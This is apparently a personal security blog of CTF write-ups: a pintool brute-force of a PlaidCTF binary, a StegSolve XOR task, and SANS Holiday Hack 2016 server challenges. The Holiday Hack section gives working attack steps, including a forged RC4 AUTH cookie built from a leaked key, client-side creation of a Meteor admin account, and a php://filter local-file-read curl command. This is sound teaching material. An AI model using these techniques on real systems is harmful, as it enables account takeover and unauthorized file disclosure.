The only reversing done on this was jumping into Binary Ninja for a few minutes and continuing after identifying the type of challenge.  The most important part was to find the length of the input required (0x20 or 32 bytes):



There's a perfect tool for this job that I've been meaning to use for a while now. This tool was: https://github.com/wagiro/pintool.  This is ideal if your challenge binary has a success / failure path and there's one target key to obtain.

There's an excellent article on how to use and automate Pin over on ShellStorm - http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/

Also used CGPwn for this CTF which has been very useful, packed with things like angr, Pin, r2, pwntools, etc. (too many good things to name) - https://github.com/0xM3R/cgPwn

If this is your first time using Pin, you'll have to compile the required shared object files and include them at the top of pintool.

After everything's all setup, we can start cracking!

Running the help on pintool, we can see the available options:

usage: pintool.py [-h] [-e] [-l LEN] [-c NUMBER] [-b CHARACTER] [-a ARCH]
                  [-i INITPASS] [-s SIMBOL] [-d EXPRESSION]
                  Filename

positional arguments:
  Filename       Program for playing with Pin Tool

optional arguments:
  -h, --help     show this help message and exit
  -e             Study the password length, for example -e -l 40, with 40
                 characters
  -l LEN         Length of password (Default: 10 )
  -c NUMBER      Charset definition for brute force (1-Lowercase, 2-Uppecase,
                 3-Numbers, 4-Hexadecimal, 5-Punctuation, 6-All)
  -b CHARACTER   Add characters for the charset, example -b _-
  -a ARCH        Program architecture 32 or 64 bits, -b 32 or -b 64
  -i INITPASS    Inicial password characters, example -i CTF{
  -s SIMBOL      Simbol for complete all password (Default: _ )
  -d EXPRESSION  Difference between instructions that are successful or not
                 (Default: != 0, example -d '== -12', -d '=> 900', -d '<= 17'
                 or -d '!= 32')

Here's a simple command to start with for this binary:

$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{' -d '<= -1' ./no_flo

We will start to get output that looks like this:

....
PCTF{nX_________________________ = 98025 difference 0 instructions
PCTF{nY_________________________ = 98025 difference 0 instructions
PCTF{nZ_________________________ = 98025 difference 0 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference 0 instructions
PCTF{n0!________________________ = 98083 difference 61 instructions
PCTF{n0"________________________ = 98083 difference 61 instructions
PCTF{n0#________________________ = 98083 difference 61 instructions
....


After a while this will start to fail, I haven't figured out exactly why yet (maybe someone can answer this in the comments) -- but underscores seem to be an issue. This has happened on a couple binaries so far.

After we have reached the end of the first word, we can adjust the 'INITPASS' attribute to include an underscore, next example command will look like this:

$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{n0_' -d '<= -1' ./no_flo

We continue this way until we've reached the end, and we get the flag!

PCTF{n0_fl0?_m0_like_ah_h3ll_n0}

Sunday, March 26, 2017

VolgaCTF 2017 Quals - VC (50)


This was a very quick one, instantly saw this coming with the low point score, two images and description:

There are files A.png and B.png. But where's the flag?



Primarily posting this to show off a feature in StegSolve.

After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
Next go to Analyse > Image Combiner, and select B.png.
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).

You may then save the result for later use : )


Tuesday, January 10, 2017

Holiday Hack Challenge 2016 - Writeup (Part 2)





This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF.  Part 1 can be found here.

The next area of the challenge asked how to exploit six servers found within the APK.  Along with these servers drops six audio files to analyze towards the end of the game.  As listed on the site, the targets were:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Each target IP could be verified in-game by Tom Hessman.  This helped both with identifying scope & identifying progress, even though each one was fairly obvious.


The Mobile Analytics Server


The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess.  Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!


With the git directory exposed you can now clone the full project easily with a bit of wget.  For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

After we have the local copy of the project we can start looking for interesting files.  The first thing to find in the context of this challenge is audio or mp3 files.

$ grep -rnis mp3 *

getaudio.php:22:      header('Content-Length: ' . strlen($result[0]['mp3']));
getaudio.php:26:      print $result[0]['mp3'];
header.php:2:require_once('mp3.php');
header.php:33:                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
mp3.php:5:  function mp3_web_path($db) {
sprusage.sql:124:  `mp3` MEDIUMBLOB NOT NULL,

Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:

<?php
  require_once('crypto.php');
  require_once('db.php');

  function mp3_web_path($db) {
    $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'");

    if (!$result) {
      return null;
    }

    return 'getaudio.php?id=' . $result[0]['id'];
  }

Then looking at where it's been used, we find the main header file:

          <ul class="nav navbar-nav">
            <li><a href="/query.php">Query</a></li>
            <li><a href="/view.php">View</a></li>
            <?php
              if (get_username() ≡ 'guest') {
                ?>
                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
                <?php
              }
              if (get_username() ≡ 'administrator') {
                ?>
                  <li><a href="/edit.php">Edit</a></li>
                <?php
              }
            ?>
          </ul>

Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.

Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:

db.php:69:    if($username == 'administrator') { ... }
getaudio.php:9:  if ($username === 'guest') { ... }

You can see the cookie being set post-auth based on the username & date:

  } else {
    require_once('db.php');

    check_user($db, $_POST['username'], $_POST['password']);

    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }

Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:

<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
  return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$username = 'guest';
// $username = 'administrator';

$auth = encrypt(json_encode([
  'username' => $username,
  'date' => date(DateTime::ISO8601),
]));

print('AUTH:\n');
print(bin2hex($auth));

?>


After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!



The Dungeon Game


The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.

$ nc -v dungeon.northpolewonderland.com 11111

Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded!
Welcome to Dungeon.   This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.


First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.

Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.

The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.

There is a small wrapped mailbox here.
>inventory
You are empty handed.
>gdt
GDT>help
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
GDT>tk
Entry:    1
Taken.
GDT>ex
>inventory
You are carrying:
  A brown sack.

Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!

  A lurking grue.
  A pair of hands.
  A breath.
  A flyer.
  A bird.
  A tree.
  A northern wall.
  A southern wall.
  A eastern wall.
  A western wall.
  A water.
  A Guardian of Zork.
  A compass rose.
  A mirror.
  A panel.
  A stone channel.
  A dungeon master.
  A ladder.
  A Elf.

Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.

...
   Recent adventurers report a new passage has been installed which
leads to the North Pole and the lair of a mischevious elf who will trade
for secrets he holds that may aid your quest.
...

Dropping the elf and giving it an item it does not want results in the following message:

>give vitreous slag to elf
"That wasn't quite what I had in mind", he says, tossing
the piece of vitreous slag into the fire, where it vanishes.

After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:

$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy

Then trying various objects for the trade we get:

...

>drop elf
The elf appears increasingly impatient.

>give bird to elf
"That wasn't quite what I had in mind", he says, tossing
the bird into the fire, where it vanishes.

>give dungeon master to elf
"That wasn't quite what I had in mind", he says, tossing
the dungeon master into the fire, where it vanishes.

>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 17 moves.
This gives you the rank of Beginner.

>give a crystal sphere to elf
The elf, satisified with the trade says -
....


Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!




The Debug Server


This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.

It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.

$ apktool d SantaGram_4.2.apk
$ vim res/values/strings.xml +33  # changing 'debug_data_enabled' from false to true
$ apktool build
$ mkdir keys
$ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2
$ adb install SantaGram_4.2.apk


Next up we check out that dev traffic using Burp and the android emulator:

$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy http://127.0.0.1:8080

Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json'

{"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}

It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json'

...
"files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ],
...


So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3
"files":["debug-20161224235959-0.mp3"

Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.




The Banner Ad Server


In the game there were characters that would drop hints on the challenges.  This was one of them that was invaluable moving forward.  The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source.  One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor

This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.

The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot!  This allowed us to see exactly what was going on in the web app with all the models and views, etc.

Initial attempt was to try to get access as a different user.  The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used.  Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:

> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });

Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!



It looks like we have access to five records on this page.  Four of them are standard quotes, and the other has an audio field.  It's starting to look very close!

Grabbing the quotes in the inspector we can see what each value holds:

JSON.stringify(HomeQuotes.find().fetch()[4]);

> "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"

Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!


The Uncaught Exception Server


On this server we could both write and read files, but only in raw text.  This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files.  It turned out PHP filters with base64 seemed to work to leak files.

Leaking the exception file seemed logical, and apparently that was all that was required:

curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D

Looking at the head of this we get the location of the next audio file!

&gt;?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/


After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.



Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job!  Can't wait for next year!